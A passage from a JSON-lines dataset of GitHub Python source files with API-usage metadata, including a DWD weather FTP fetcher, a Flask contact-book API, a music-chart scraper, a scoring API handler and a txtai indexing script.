"line_number": 97, "usage_type": "call"}, {"api_name": "constants.TILESIZE", "line_number": 97, "usage_type": "name"}, {"api_name": "constants.TILESIZE", "line_number": 99, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 101, "usage_type": "call"}, {"api_name": "os.path", "line_number": 101, "usage_type": "attribute"}, {"api_name": "os.path.dirname", "line_number": 101, "usage_type": "call"}, {"api_name": "pygame.image.load", "line_number": 103, "usage_type": "call"}, {"api_name": "pygame.image", "line_number": 103, "usage_type": "attribute"}, {"api_name": "pygame.key.get_pressed", "line_number": 126, "usage_type": "call"}, {"api_name": "pygame.key", "line_number": 126, "usage_type": "attribute"}, {"api_name": "pygame.locals.K_UP", "line_number": 127, "usage_type": "name"}, {"api_name": "constants.TILESIZE", "line_number": 128, "usage_type": "name"}, {"api_name": "constants.TILESIZE", "line_number": 130, "usage_type": "name"}, {"api_name": "pygame.locals.K_DOWN", "line_number": 130, "usage_type": "name"}, {"api_name": "constants.TILESIZE", "line_number": 131, "usage_type": "argument"}, {"api_name": "pygame.locals.K_LEFT", "line_number": 133, "usage_type": "name"}, {"api_name": "constants.TILESIZE", "line_number": 134, "usage_type": "name"}, {"api_name": "constants.TILESIZE", "line_number": 136, "usage_type": "name"}, {"api_name": "pygame.locals.K_RIGHT", "line_number": 136, "usage_type": "name"}, {"api_name": "constants.TILESIZE", "line_number": 137, "usage_type": "argument"}, {"api_name": "pygame.event.get", "line_number": 142, "usage_type": "call"}, {"api_name": "pygame.event", "line_number": 142, "usage_type": "attribute"}, {"api_name": "pygame.locals.QUIT", "line_number": 143, "usage_type": "name"}, {"api_name": "pygame.quit", "line_number": 144, "usage_type": "call"}, {"api_name": "sys.exit", "line_number": 145, "usage_type": "call"}]}
{"seq_id": "73269025544", "text": "import decimal\nimport io\nimport re\nimport urllib\nimport datetime\nfrom zipfile import ZipFile\n\nimport pandas as pd\nimport pytz\n\nfrom app.dwd_module.dwd_constant import *\nfrom app.dwd_module.dwd_file_finder import FtpFileFinder\nfrom app import util\nfrom app.models import Response, ResponseTimeseries, Values\n\n\n\n\nclass TimeSeries:\n    \"\"\"\n    Query the DWD FTP service by a specified station, resolution and datatype and a optional timerange to filter\n    the results.\n    \"\"\"\n    stationId = ''\n    resolution = ''\n    observation_type = ''\n    pattern_searched_file = r'^produkt.*'\n    start = None\n    end = None\n    path_choices = ''\n    path = ''\n    times = []\n    response = None\n    MESS_DATUM = 'MESS_DATUM'\n\n\n    def __init__(self, stationId, resolution, observation_type, start, end):\n        \"\"\"\n        Call the class ( FtpFileFinder ) and it's Method FtpSearch at first, so that the\n        connection and the paths are ready to be used.\n        :param stationId: string *required\n        :param resolution: string *required\n        :param observation_type: string *required\n        :param start: Date time *not required\n        :param end: Date time *not required\n        \"\"\"\n\n        self.stationId = stationId\n        self.resolution = resolution\n        self.observation_type = observation_type\n        self.start = util.deserialize_datetime(start)\n        self.end =  util.deserialize_datetime(end)\n        self.path_choices = FtpFileFinder().findFile(self.generateWalkPathByResolutionAndStationId(),\n                                                     r'.*' + self.stationId + '.*', r'^Meta_Daten.*')\n        self.response = Response()\n        self.response.observation_type = self.observation_type\n        self.response.resolution = self.resolution\n        self.response.station_id = self.stationId\n        self.response.timeseries = []\n\n    def generateWalkPathByResolutionAndStationId(self):\n        \"\"\"\n        add the resolution and the observation type to the path\n        :return: String\n        \"\"\"\n        return PATH_TO_WALK + self.resolution + \"/\" + self.observation_type\n\n    def zip_extract(self, half_path):\n        \"\"\"\n        unpacking a single zip file for a path.\n        returns a dictionary sorted by records\n        :param half_path: string\n        :return: Dictionary\n        \"\"\"\n\n        self.path = \"ftp://\" + DWD_SERVER + \"/\" + half_path\n\n        mysock = urllib.request.urlopen(self.path)\n\n        memfile = io.BytesIO(mysock.read())\n\n        with ZipFile(memfile, 'r') as myzip:\n\n            nameList = myzip.namelist()\n            p = re.compile(self.pattern_searched_file)\n\n            for name in nameList:\n                m = p.match(name)\n                if m:\n                    filename = m.group()\n            f = myzip.open(filename)\n            csv_read = pd.read_csv(f, sep = \";\")  # read as DataFrame\n            self.choose_date(csv_read)\n\n            start_date = csv_read[self.MESS_DATUM][0]  # get the start date of CSV\n            end_date = csv_read[self.MESS_DATUM][-1:].values  # get end date of CSV\n            dict_date = dict(start = start_date, end = end_date[0])\n\n            self.times.append(dict_date)\n\n        return csv_read\n\n    def choose_date(self, csv_read):\n        colomns = csv_read.columns\n        regex = re.compile(r'^MESS_DATUM*')\n        colomns_list = list(filter(regex.match, colomns))\n        if len(colomns_list) > 1:\n            self.MESS_DATUM = 'MESS_DATUM_ENDE'\n\n    def dwd_response(self):\n\n        \"\"\"\n        concat the different CSV's and reform the respond Object to but Meta Data on  the top of each\n        row.\n        :return: Dictionary\n        \"\"\"\n\n        for single_path in self.path_choices:  # Loop over path path choices to look over\n\n            r_dict = self.zip_extract(single_path)\n            path_split = single_path.split('/')\n            file_name = path_split[-1]\n            epoch = path_split[-2]\n\n            self.extract_timestamps(epoch, file_name, r_dict)\n\n        return self.response\n\n\n    def extract_timestamps(self, epoch, file_name, r_dict):\n        \"\"\"\n        Delete the replicated data, unused column &  reorganize the TimeSeries\n        :param epoch: String\n        :param file_name: String\n        :param r_dict: dictionary\n\n        \"\"\"\n        if epoch in ['recent', 'now']  :  # remove redundancy (the Data from 'historical' comes at first )\n            list_of_dicts = r_dict[r_dict[self.MESS_DATUM] > int(self.times[0]['end'])].to_dict('records')\n\n        else:\n            list_of_dicts = r_dict.to_dict('records')\n            # loop over the dictionary to delete the unused column &  reorganize the TimeSeries\n        for i, single_dict in enumerate(list_of_dicts, 2):\n            single_dict.pop('STATIONS_ID', None)\n            single_dict.pop('eor', None)\n            source_time = str(decimal.Decimal(single_dict[self.MESS_DATUM])).ljust(12, '0')\n            single_dict['timestamp'] = util.deserialize_datetime(source_time)\n            single_dict.pop(self.MESS_DATUM, None)\n            timestamp = pytz.utc.localize(single_dict['timestamp'])  # type: datetime\n            if (self.start <= timestamp) and (timestamp <= self.end):\n                self.extract_timestamp(epoch, file_name, i, single_dict)\n\n\n    def extract_timestamp(self, epoch, file_name, source_line_number, single_dict):\n        \"\"\"\n        Every single timestamp will be extracted, then Add Meta Data.\n        :param epoch: String\n        :param file_name: String\n        :param source_line_number:\n        :param single_dict:\n\n        \"\"\"\n        ts = ResponseTimeseries()\n        ts.epoch = epoch\n        ts.source_line = source_line_number\n        ts.source_file = file_name\n        ts.source_url = self.path\n        ts.values = []\n        for k, v in single_dict.items():\n\n            if k != 'timestamp':\n                ts.values.append(Values(name = k, value = v))\n            else:\n                ts.timestamp = v\n        self.response.timeseries.append(ts)\n", "repo_name": "alhajtaha/dwd-proxy-flask", "sub_path": "app/dwd_module/timeseries.py", "file_name": "timeseries.py", "file_ext": "py", "file_size_in_byte": 5987, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "app.util.deserialize_datetime", "line_number": 51, "usage_type": "call"}, {"api_name": "app.util", "line_number": 51, "usage_type": "name"}, {"api_name": "app.util.deserialize_datetime", "line_number": 52, "usage_type": "call"}, {"api_name": "app.util", "line_number": 52, "usage_type": "name"}, {"api_name": "app.dwd_module.dwd_file_finder.FtpFileFinder", "line_number": 53, "usage_type": "call"}, {"api_name": "app.models.Response", "line_number": 55, "usage_type": "call"}, {"api_name": "urllib.request.urlopen", "line_number": 78, "usage_type": "call"}, {"api_name": "urllib.request", "line_number": 78, "usage_type": "attribute"}, {"api_name": "io.BytesIO", "line_number": 80, "usage_type": "call"}, {"api_name": "zipfile.ZipFile", "line_number": 82, "usage_type": "call"}, {"api_name": "re.compile", "line_number": 85, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 92, "usage_type": "call"}, {"api_name": "re.compile", "line_number": 105, "usage_type": "call"}, {"api_name": "decimal.Decimal", "line_number": 147, "usage_type": "call"}, {"api_name": "app.util.deserialize_datetime", "line_number": 148, "usage_type": "call"}, {"api_name": "app.util", "line_number": 148, "usage_type": "name"}, {"api_name": "pytz.utc.localize", "line_number": 150, "usage_type": "call"}, {"api_name": "pytz.utc", "line_number": 150, "usage_type": "attribute"}, {"api_name": "app.models.ResponseTimeseries", "line_number": 164, "usage_type": "call"}, {"api_name": "app.models.Values", "line_number": 173, "usage_type": "call"}]}
{"seq_id": "20380453539", "text": "from setuptools import setup, find_packages\nimport re\nimport ast\n\n# version parsing from __init__ pulled from Flask's setup.py\n# https://github.com/mitsuhiko/flask/blob/master/setup.py\n_version_re = re.compile(r'__version__\\s+=\\s+(.*)')\n\nwith open('q2_humann2/__init__.py', 'rb') as f:\n    hit = _version_re.search(f.read().decode('utf-8')).group(1)\n    version = str(ast.literal_eval(hit))\n\n\nsetup(\n    name=\"q2-humann2\",\n    version=version,\n    packages=find_packages(),\n    install_requires=['qiime >= 2.0.0',\n                      'humann2 >= 0.9.4, < 1.0.0',\n                      'biom-format >= 2.1.5, < 2.2.0'],\n    author=\"Daniel McDonald\",\n    author_email=\"wasade@gmail.com\",\n    description=\"QIIME2 plugin for running HUMAnN2\",\n    entry_points={\n        \"qiime.plugins\":\n        [\"q2-humann2=q2_humann2.plugin_setup:plugin\"]\n    }\n)\n", "repo_name": "wasade/q2-humann2", "sub_path": "setup.py", "file_name": "setup.py", "file_ext": "py", "file_size_in_byte": 847, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 4, "dataset": "github-code", "pt": "81", "api": [{"api_name": "re.compile", "line_number": 7, "usage_type": "call"}, {"api_name": "ast.literal_eval", "line_number": 11, "usage_type": "call"}, {"api_name": "setuptools.setup", "line_number": 14, "usage_type": "call"}, {"api_name": "setuptools.find_packages", "line_number": 17, "usage_type": "call"}]}
{"seq_id": "39568503379", "text": "import requests\nfrom bs4 import BeautifulSoup\nimport warnings\nwarnings.filterwarnings(action='ignore')\nimport datetime\ndf=datetime.datetime.now()\n\ntargetSite='https://music.bugs.co.kr/chart?wl_ref=M_left_02_01'\nrequest =requests.get(targetSite)\nhtml=request.text\nsoup = BeautifulSoup(html,'html.parser')\n\n# 노래제목 크롤링\ntitles = soup.findAll('p', {'class':'title'})\n\n# for i in range(len(titles)):\n    # print('{0:3d}위 {1}'.format(i+1,titles[i].text.strip()))\n    # print('{0:3d}위 {1}'.format(i+1,titles[i].text.split('\\n')[1]))\n    # print(titles[i].text.split('\\n')[1])\n\nartists = soup.findAll('p', {'class':'artist'})\n# for i in range(len(artists)):\n#     print('{0:3d}위 {1:50s}'.format(i + 1, titles[i].text.strip()))\n#     print('{0:s}'.format(artists[i].text.strip().split('\\n')[0]))\n\n# print(df)\n# for i in range(100):\n#     artist = artists[i].text.strip().split('\\n')[0]\n#     title = titles[i].text.strip()\n#     print('{0:3d}위 {1} - {2}'.format(i+1,artist,title))\n\n# 크롤링한 결과를 텍스트 파일로 저장한다\nfile = open('./output/bugsTOP100.txt','w')\nfile.write('{} 현재 Bugs 뮤직 실시간 TOP 100\\n'.format(df))\nfor i in range(100):\n    artist = artists[i].text.strip().split('\\n')[0]\n    title = titles[i].text.strip()\n    file.write('{0:3d}위 {1} - {2}\\n'.format(i+1,artist,title))\nfile.close()\nprint('bugsTOP100.txt 쓰기 완료')\n\n# text 파일에 저장된 데이터를 읽어서 화면에 출력한다\ntry:\n    file = open('./output/bugsTOP100.txt', 'r')\n    lines = file.readlines()\n    for line in lines:\n        print(line.strip())\n    file.close()\nexcept FileNotFoundError:\n\n    print('디스크에 bugsTOP100.txt 파일이 없습니다')", "repo_name": "wjddn3711/Python", "sub_path": "python_Algorithm/crawling/bugsCrawling.py", "file_name": "bugsCrawling.py", "file_ext": "py", "file_size_in_byte": 1700, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "warnings.filterwarnings", "line_number": 4, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 6, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 6, "usage_type": "attribute"}, {"api_name": "requests.get", "line_number": 9, "usage_type": "call"}, {"api_name": "bs4.BeautifulSoup", "line_number": 11, "usage_type": "call"}]}
{"seq_id": "1374847642", "text": "from flask import Flask, jsonify, request\n\napp = Flask(__name__)\n\nclass Contact:\n    def __init__(self, name, phone_number):\n        self.name = name\n        self.phone_number = phone_number\n\nclass AddressBook:\n    def __init__(self):\n        self.contacts = []\n\n    def add_contact(self, name, phone_number):\n        contact = Contact(name, phone_number)\n        self.contacts.append(contact)\n\n    def remove_contact(self, name):\n        for contact in self.contacts:\n            if contact.name == name:\n                self.contacts.remove(contact)\n                return\n\n    def search_contact(self, name):\n        for contact in self.contacts:\n            if contact.name == name:\n                return contact.phone_number\n        return \"Kontak tidak ditemukan\"\n\naddress_book = AddressBook()\n\n@app.route('/contacts', methods=['POST'])\ndef add_contact():\n    data = request.get_json()\n    name = data.get('name')\n    phone_number = data.get('phone_number')\n    address_book.add_contact(name, phone_number)\n    return jsonify({'message': 'Kontak berhasil ditambahkan'})\n\n@app.route('/contacts/<name>', methods=['DELETE'])\ndef remove_contact(name):\n    address_book.remove_contact(name)\n    return jsonify({'message': 'Kontak berhasil dihapus'})\n\n@app.route('/contacts/<name>', methods=['GET'])\ndef search_contact(name):\n    phone_number = address_book.search_contact(name)\n    return jsonify({'phone_number': phone_number})\n\nif __name__ == '__main__':\n    app.run(debug=False)\n", "repo_name": "firyal-salsa/flask-crud", "sub_path": "app.py", "file_name": "app.py", "file_ext": "py", "file_size_in_byte": 1484, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "flask.Flask", "line_number": 3, "usage_type": "call"}, {"api_name": "flask.request.get_json", "line_number": 34, "usage_type": "call"}, {"api_name": "flask.request", "line_number": 34, "usage_type": "name"}, {"api_name": "flask.jsonify", "line_number": 38, "usage_type": "call"}, {"api_name": "flask.jsonify", "line_number": 43, "usage_type": "call"}, {"api_name": "flask.jsonify", "line_number": 48, "usage_type": "call"}]}
{"seq_id": "24615059689", "text": "from __future__ import annotations\n\nfrom typing import ClassVar\nfrom dataclasses import dataclass\n\n\n@dataclass\nclass Link:\n    name: any\n    items: list[str]\n\n    @property\n    def as_dict(self):\n        return {\n            'name': self.name,\n            'items': tuple(self.items)\n        }\n\n\n@dataclass\nclass Node:\n    type: ClassVar[str] = None\n\n    name: str\n    links: list = None\n\n    def push(self, link_type, value: Node):\n        for link in self.links:\n            if link.name == link_type:\n                for item in link.items:\n                    if item.name == value.name:\n                        break\n                else:\n                    link.items.append(value.clone_without_links())\n                break\n        else:\n            self.links.append(Link(name = link_type, items = [value.clone_without_links()]))\n\n        return self\n\n    @property\n    def as_dict(self):\n        links = self.links\n\n        if links is not None and len(links) > 0:\n            return {\n                'name': self.name,\n                'type': self.type,\n                'links': links\n            }\n\n        return {\n            'name': self.name,\n            'type': self.type\n        }\n\n    def clone_without_links(self):\n        return type(self)(self.name)\n\n\ndef get_hash(node: Node):\n    return (node.type, node.name)\n", "repo_name": "zeionara/cold", "sub_path": "cold/util/Node.py", "file_name": "Node.py", "file_ext": "py", "file_size_in_byte": 1335, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "dataclasses.dataclass", "line_number": 7, "usage_type": "name"}, {"api_name": "typing.ClassVar", "line_number": 22, "usage_type": "name"}, {"api_name": "dataclasses.dataclass", "line_number": 20, "usage_type": "name"}]}
{"seq_id": "70604713545", "text": "import datetime\nimport hashlib\nimport typing as t\n\nfrom otus_scoring_api.classes import (\n    ClientsInterestsRequest,\n    DateField,\n    MethodRequest,\n    OnlineScoreRequest,\n    ValidationError,\n)\nfrom otus_scoring_api.constants import (\n    ADMIN_SALT,\n    FORBIDDEN,\n    INTERNAL_ERROR,\n    INVALID_REQUEST,\n    OK,\n    SALT,\n)\nfrom otus_scoring_api.scoring import get_interests, get_score, ScoringError\n\nSUPPORTED_METHODS = {\n    \"online_score\": OnlineScoreRequest,\n    \"clients_interests\": ClientsInterestsRequest,\n}\n\n\ndef check_auth(request: MethodRequest):\n    if request.is_admin:\n        digest = hashlib.sha512(\n            f\"{datetime.datetime.now().strftime('%Y%m%d%H')}\"\n            f\"{ADMIN_SALT}\".encode(\"utf-8\")\n        ).hexdigest()\n    else:\n        digest = hashlib.sha512(\n            f\"{request.account}{request.login}{SALT}\".encode(\"utf-8\")\n        ).hexdigest()\n    if digest == request.token:\n        return True\n    return False\n\n\ndef method_handler(\n    request: t.Dict, ctx: t.Dict, store\n) -> t.Tuple[t.Union[t.Dict, str, None], t.Optional[int]]:\n    response, code = {}, OK\n    # trying to parse request body\n    try:\n        parsed_request = MethodRequest(**request.get(\"body\", {}))\n    except ValidationError as e:\n        return str(e), INVALID_REQUEST\n\n    # checking auth\n    if not check_auth(parsed_request):\n        return None, FORBIDDEN\n\n    # method arguments processing\n    method_class = SUPPORTED_METHODS.get(parsed_request.method)\n    if not method_class:\n        return (\n            f\"Method '{parsed_request.method}' unsupported\",\n            INVALID_REQUEST,\n        )\n    elif not parsed_request.arguments:\n        return \"Method arguments required\", INVALID_REQUEST\n\n    try:\n        method_args = method_class(**parsed_request.arguments)\n    except ValidationError as e:\n        return (\n            f\"Wrong arguments for method '{parsed_request.method}': {str(e)}\",\n            INVALID_REQUEST,\n        )\n\n    # method performing\n    if parsed_request.method == \"online_score\":\n        ctx[\"has\"] = method_args.non_empty_fields_lst\n        if parsed_request.is_admin:\n            score = 42\n        else:\n            method_args = t.cast(OnlineScoreRequest, method_args)\n            score = get_score(\n                store=store,\n                phone=method_args.phone,\n                email=method_args.email,\n                birthday=DateField.as_datetime(method_args.birthday),\n                gender=method_args.gender,\n                first_name=method_args.first_name,\n                last_name=method_args.last_name,\n            )\n        response = {\"score\": score}\n\n    elif parsed_request.method == \"clients_interests\":\n        method_args = t.cast(ClientsInterestsRequest, method_args)\n        ctx[\"nclients\"] = len(method_args.client_ids)\n        if not ctx[\"nclients\"]:\n            code = INVALID_REQUEST\n            response = \"clients_ids list cannot be empty\"\n        else:\n            try:\n                response = {\n                    str(cid): get_interests(store, str(cid))\n                    for cid in method_args.client_ids\n                }\n            except ScoringError as e:\n                code = INTERNAL_ERROR\n                response = str(e)\n    else:\n        code = INVALID_REQUEST\n        response = f\"Method '{parsed_request.method}' unsupported\"\n\n    return response, code\n", "repo_name": "z-lex/otus-scoring-api", "sub_path": "src/otus_scoring_api/handlers.py", "file_name": "handlers.py", "file_ext": "py", "file_size_in_byte": 3370, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "otus_scoring_api.classes.OnlineScoreRequest", "line_number": 23, "usage_type": "name"}, {"api_name": "otus_scoring_api.classes.ClientsInterestsRequest", "line_number": 24, "usage_type": "name"}, {"api_name": "otus_scoring_api.classes.MethodRequest", "line_number": 28, "usage_type": "name"}, {"api_name": "hashlib.sha512", "line_number": 30, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 31, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 31, "usage_type": "attribute"}, {"api_name": "otus_scoring_api.constants.ADMIN_SALT", "line_number": 32, "usage_type": "name"}, {"api_name": "hashlib.sha512", "line_number": 35, "usage_type": "call"}, {"api_name": "otus_scoring_api.constants.SALT", "line_number": 36, "usage_type": "name"}, {"api_name": "typing.Dict", "line_number": 44, "usage_type": "attribute"}, {"api_name": "otus_scoring_api.constants.OK", "line_number": 46, "usage_type": "name"}, {"api_name": "otus_scoring_api.classes.MethodRequest", "line_number": 49, "usage_type": "call"}, {"api_name": "otus_scoring_api.classes.ValidationError", "line_number": 50, "usage_type": "name"}, {"api_name": "otus_scoring_api.constants.INVALID_REQUEST", "line_number": 51, "usage_type": "name"}, {"api_name": "otus_scoring_api.constants.FORBIDDEN", "line_number": 55, "usage_type": "name"}, {"api_name": "otus_scoring_api.constants.INVALID_REQUEST", "line_number": 62, "usage_type": "name"}, {"api_name": "otus_scoring_api.constants.INVALID_REQUEST", "line_number": 65, "usage_type": "name"}, {"api_name": "otus_scoring_api.classes.ValidationError", "line_number": 69, "usage_type": "name"}, {"api_name": "otus_scoring_api.constants.INVALID_REQUEST", "line_number": 72, "usage_type": "name"}, {"api_name": "typing.cast", "line_number": 81, "usage_type": "call"}, {"api_name": "otus_scoring_api.classes.OnlineScoreRequest", "line_number": 81, "usage_type": "argument"}, {"api_name": "otus_scoring_api.scoring.get_score", "line_number": 82, "usage_type": "call"}, {"api_name": "otus_scoring_api.classes.DateField.as_datetime", "line_number": 86, "usage_type": "call"}, {"api_name": "otus_scoring_api.classes.DateField", "line_number": 86, "usage_type": "name"}, {"api_name": "typing.cast", "line_number": 94, "usage_type": "call"}, {"api_name": "otus_scoring_api.classes.ClientsInterestsRequest", "line_number": 94, "usage_type": "argument"}, {"api_name": "otus_scoring_api.constants.INVALID_REQUEST", "line_number": 97, "usage_type": "name"}, {"api_name": "otus_scoring_api.scoring.get_interests", "line_number": 102, "usage_type": "call"}, {"api_name": "otus_scoring_api.scoring.ScoringError", "line_number": 105, "usage_type": "name"}, {"api_name": "otus_scoring_api.constants.INTERNAL_ERROR", "line_number": 106, "usage_type": "name"}, {"api_name": "otus_scoring_api.constants.INVALID_REQUEST", "line_number": 109, "usage_type": "name"}, {"api_name": "typing.Tuple", "line_number": 45, "usage_type": "attribute"}, {"api_name": "typing.Union", "line_number": 45, "usage_type": "attribute"}, {"api_name": "typing.Dict", "line_number": 45, "usage_type": "attribute"}, {"api_name": "typing.Optional", "line_number": 45, "usage_type": "attribute"}]}
{"seq_id": "70082411145", "text": "from typing import List\n\n# Definition for a binary tree node.\n\n\nclass TreeNode:\n    def __init__(self, val=0, left=None, right=None):\n        self.val = val\n        self.left = left\n        self.right = right\n\n    def __repr__(self):\n        return str(self.val)\n\n\nclass Solution:\n    def generateTrees(self, n: int) -> List[TreeNode]:\n        def buildTree(root, left_list, right_list):\n            ans = []\n            # print(root, left_list, right_list)\n            left = []\n            for i in range(len(left_list)):\n                left.extend(\n                    buildTree(left_list[i], left_list[:i], left_list[i+1:]))\n            right = []\n            for j in range(len(right_list)):\n                right.extend(buildTree(\n                    right_list[j], right_list[:j], right_list[j+1:]))\n            if not left:\n                left = [None]\n            if not right:\n                right = [None]\n            for l in left:\n                for r in right:\n                    tmp = TreeNode(root)\n                    tmp.left = l\n                    tmp.right = r\n                    ans.append(tmp)\n            return ans\n        ans = []\n        for i in range(1, n + 1):\n            ans.extend(buildTree(i, list(range(1, i)), list(range(i+1, n+1))))\n        return ans\n        # 思路正确，代码还可以写简单点，看下次碰见能写成什么样吧\n\n\nif __name__ == \"__main__\":\n    s = Solution()\n    print(s.generateTrees(3))\n", "repo_name": "tiandiyijian/myLeetcode", "sub_path": "95.py", "file_name": "95.py", "file_ext": "py", "file_size_in_byte": 1465, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "typing.List", "line_number": 17, "usage_type": "name"}]}
{"seq_id": "24548498246", "text": "\"\"\"\nIndexing module\n\"\"\"\n\nimport os.path\nimport sqlite3\n\nfrom txtai.embeddings import Embeddings\n\nfrom .models import Models\nfrom .tokenizer import Tokenizer\n\nclass Index(object):\n    \"\"\"\n    Methods to build a new sentence embeddings index.\n    \"\"\"\n\n    @staticmethod\n    def stream(dbfile):\n        \"\"\"\n        Streams questions from a questions.db file. This method is a generator and will yield a row at time.\n\n        Args:\n            dbfile: input SQLite file\n        \"\"\"\n\n        # Connection to database file\n        db = sqlite3.connect(dbfile)\n        cur = db.cursor()\n\n        cur.execute(\"SELECT Id, Question, Source, Tags FROM questions\")\n\n        count = 0\n        for question in cur:\n            # Tokenize question, source and tags\n            tokens = Tokenizer.tokenize(question[1] + \" \" + question[2] + \" \" + question[3])\n\n            document = (question[0], tokens, question[3])\n\n            count += 1\n            if count % 1000 == 0:\n                print(\"Streamed %d documents\" % (count), end=\"\\r\")\n\n            # Skip documents with no tokens parsed\n            if tokens:\n                yield document\n\n        print(\"Iterated over %d total rows\" % (count))\n\n        # Free database resources\n        db.close()\n\n    @staticmethod\n    def embeddings(dbfile):\n        \"\"\"\n        Builds a sentence embeddings index.\n\n        Args:\n            dbfile: input SQLite file\n\n        Returns:\n            embeddings index\n        \"\"\"\n\n        embeddings = Embeddings({\"path\": Models.vectorPath(\"stackexchange-300d.magnitude\"),\n                                 \"storevectors\": True,\n                                 \"scoring\": \"bm25\",\n                                 \"pca\": 3,\n                                 \"quantize\": True})\n\n        # Build scoring index if scoring method provided\n        if embeddings.config.get(\"scoring\"):\n            embeddings.score(Index.stream(dbfile))\n\n        # Build embeddings index\n        embeddings.index(Index.stream(dbfile))\n\n        return embeddings\n\n    @staticmethod\n    def run():\n        \"\"\"\n        Executes an index run.\n        \"\"\"\n\n        path = Models.modelPath(\"stackexchange\")\n        dbfile = os.path.join(path, \"questions.db\")\n\n        print(\"Building new model\")\n        embeddings = Index.embeddings(dbfile)\n        embeddings.save(path)\n\nif __name__ == \"__main__\":\n    Index.run()\n", "repo_name": "yueshan723/codequestion", "sub_path": "src/python/codequestion/index.py", "file_name": "index.py", "file_ext": "py", "file_size_in_byte": 2363, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "github-code", "pt": "81", "api": [{"api_name": "sqlite3.connect", "line_number": 28, "usage_type": "call"}, {"api_name": "tokenizer.Tokenizer.tokenize", "line_number": 36, "usage_type": "call"}, {"api_name": "tokenizer.Tokenizer", "line_number": 36, "usage_type": "name"}, {"api_name": "txtai.embeddings.Embeddings", "line_number": 65, "usage_type": "call"}, {"api_name": "models.Models.vectorPath", "line_number": 65, "usage_type": "call"}, {"api_name": "models.Models", "line_number": 65, "usage_type": "name"}, {"api_name": "models.Models.modelPath", "line_number": 86, "usage_type": "call"}, {"api_name": "models.Models", "line_number": 86, "usage_type": "name"}, {"api_name": "os.path.path.join", "line_number": 87, "usage_type": "call"}, {"api_name": "os.path.path", "line_number": 87, "usage_type": "attribute"}, {"api_name": "os.path", "line_number": 87, "usage_type": "name"}]}
{"seq_id": "13583237969", "text": "import datetime\nimport re\nfrom typing import List\nimport pandas as pd\n\n\ndef convert_time(x, time_format: str = \"%Y-%m-%d %H:%M:%S\"):\n    try:\n        if isinstance(x, datetime.datetime):\n            return x\n        elif isinstance(x, str):\n            return datetime.datetime.strptime(x, time_format)\n        elif isinstance(x, int):\n            return datetime.datetime.fromtimestamp(x, time_format)\n    except:  # pylint: disable=bare-except\n        return x\n\n\ndef is_phone(x) -> bool:\n    \"\"\"judge x is phone\n    phone refer to 11 digit mobile phone.\n\n    Args:\n        x (str): input\n\n    Returns:\n        bool: output\n    \"\"\"\n    if x.startswith(\"1\") and len(x) == 11 and x.isdigit():\n        return True\n    return False\n\n\ndef is_qq(x) -> bool:\n    \"\"\"\n    check is x is qq\n    qq is a set of number between 5-10, starts from 10000.\n    Args:\n        x (str):\n\n    Returns:\n        bool: qq or not\n    \"\"\"\n    if len(x) >= 5 and len(x) <= 10 and x >= \"10000\" and x.isdigit():\n        return True\n    return False\n\n\ndef is_wx() -> bool:\n    pass\n\n\ndef simple_tie(series: pd.Series) -> List:\n    series = series[~pd.isna(series)]\n    series = series.apply(lambda x: str(x).replace(\"_x000D_\", \"\").replace(\n        \"\\r\", \"\").replace(\"\\n\", \"\"))\n    series = series.apply(lambda x: re.split(r\"[，、|]\", str(x)))\n    series = series[series.apply(lambda x: isinstance(x, list))]\n    result_tie = series.tolist()\n    result_list = [\n        item.strip() for inner in result_tie for item in inner\n        if len(item) == 11 and re.match(r\"^1[3-9]\\d{9}$\", item)\n    ]\n    return result_list\n\n\ndef read_data_from_excel(file_path: str, sheet_name: str) -> tuple:\n    \"\"\"\n    Args:\n        file_path:xlsx fp\n        sheet_name:str,can not be empty\n    \"\"\"\n    df = pd.read_excel(file_path, sheet_name=sheet_name, engine=\"openpyxl\")\n    date_key = \"日期\"\n    df[date_key] = df[date_key].apply(convert_time)\n    df = df[df[date_key].apply(lambda x: isinstance(x, datetime.datetime))]\n    base_date = datetime.datetime(year=2021, month=11, day=1)\n    mask = df[date_key].apply(lambda x: x >= base_date)\n    df = df[mask]\n\n    phone_key = \"手机号\"\n    phone_list = simple_tie(df[phone_key])\n    # print(phone_list[:10])\n\n    qq_or_wx_key = \"用户账号（填写QQ/微信账号）\"\n    qq_or_wx_list = simple_tie(df[qq_or_wx_key])\n    # print(qq_or_wx_list[:10])\n    return (phone_list, qq_or_wx_list)\n\n\nif __name__ == \"__main__\":\n    # test_openid()\n    # test_read_excel()\n    # crytor=PrpCrypt()\n    pass\n", "repo_name": "baicao/wxy_model_toolbox", "sub_path": "common/tools.py", "file_name": "tools.py", "file_ext": "py", "file_size_in_byte": 2505, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "datetime.datetime", "line_number": 9, "usage_type": "attribute"}, {"api_name": "datetime.datetime.strptime", "line_number": 12, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 12, "usage_type": "attribute"}, {"api_name": "datetime.datetime.fromtimestamp", "line_number": 14, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 14, "usage_type": "attribute"}, {"api_name": "pandas.Series", "line_number": 53, "usage_type": "attribute"}, {"api_name": "pandas.isna", "line_number": 54, "usage_type": "call"}, {"api_name": "re.split", "line_number": 57, "usage_type": "call"}, {"api_name": "re.match", "line_number": 62, "usage_type": "call"}, {"api_name": "typing.List", "line_number": 53, "usage_type": "name"}, {"api_name": "pandas.read_excel", "line_number": 73, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 76, "usage_type": 